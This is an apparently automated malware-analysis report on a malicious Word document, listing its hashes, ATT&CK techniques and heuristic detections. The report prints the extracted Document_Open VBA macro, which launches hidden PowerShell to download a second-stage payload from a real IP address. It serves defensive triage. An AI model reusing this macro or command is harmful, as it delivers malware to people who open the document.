Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ebd1544e5228049…

MALICIOUS

Office (OLE)

91.0 KB Created: 2017-03-10 21:15:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 28b1dca177728485c2c9addaf0f42761 SHA-1: 9a4b39fc91aedaa03abb97012d47b02bcce81eb2 SHA-256: 7ebd1544e522804927701b34eed8e7704c640a214fe59cfe5d0ec9585bca34b0
312 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a Document_Open VBA macro that utilizes WScript.Shell to execute a PowerShell command. This command is designed to download and execute a second-stage payload from the URL http://138.197.27.216/en/tracker/05eab076-6be1-4640-973a-327bd7fa9209.png. The presence of the Document_Open macro and the execution of PowerShell indicate a malicious document intended to deliver further malware.

Heuristics 10

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim wsh As Object
        Set wsh = VBA.CreateObject("WScript.Shell")
        Dim windowStyle As Integer: windowStyle = 0
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim windowStyle As Integer: windowStyle = 0
        wsh.Run "powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -Command $browser = New-Object System.Net.WebClient; $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials; (new-object Net.WebClient).DownloadString('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')", windowStyle
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim wsh As Object
        Set wsh = VBA.CreateObject("WScript.Shell")
        Dim windowStyle As Integer: windowStyle = 0
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
        Dim wsh As Object
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://138.197.27.216/en/tracker/05eab076-6be1-4640-973a-327bd7fa9209.png In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2015 bytes
SHA-256: 9517c74bfe87160ce866ef1949eba0a9aada4a2f3a5c76b7f55aca84698668ce
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim wsh As Object
    Set wsh = VBA.CreateObject("WScript.Shell")
    Dim windowStyle As Integer: windowStyle = 0
    wsh.Run "powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -Command $browser = New-Object System.Net.WebClient; $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials; (new-object Net.WebClient).DownloadString('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')", windowStyle
End Sub

' Processing file: /tmp/qstore_7prk8y5_
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2625 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	Dim 
' 	VarDefn wsh (As Object)
' Line #2:
' 	SetStmt 
' 	LitStr 0x000D "WScript.Shell"
' 	Ld VBA 
' 	ArgsMemLd CreateObject 0x0001 
' 	Set wsh 
' Line #3:
' 	Dim 
' 	VarDefn windowStyle (As Integer)
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St windowStyle 
' Line #4:
' 	LitStr 0x01D2 "powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -Command $browser = New-Object System.Net.WebClient; $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials; (new-object Net.WebClient).DownloadString('http://138.197.27.216/en/tracker/05eab076-6be1-4640-973a-327bd7fa9209.png                                                                                                                        ')"
' 	Ld windowStyle 
' 	Ld wsh 
' 	ArgsMemCall Run 0x0002 
' Line #5:
' 	EndSub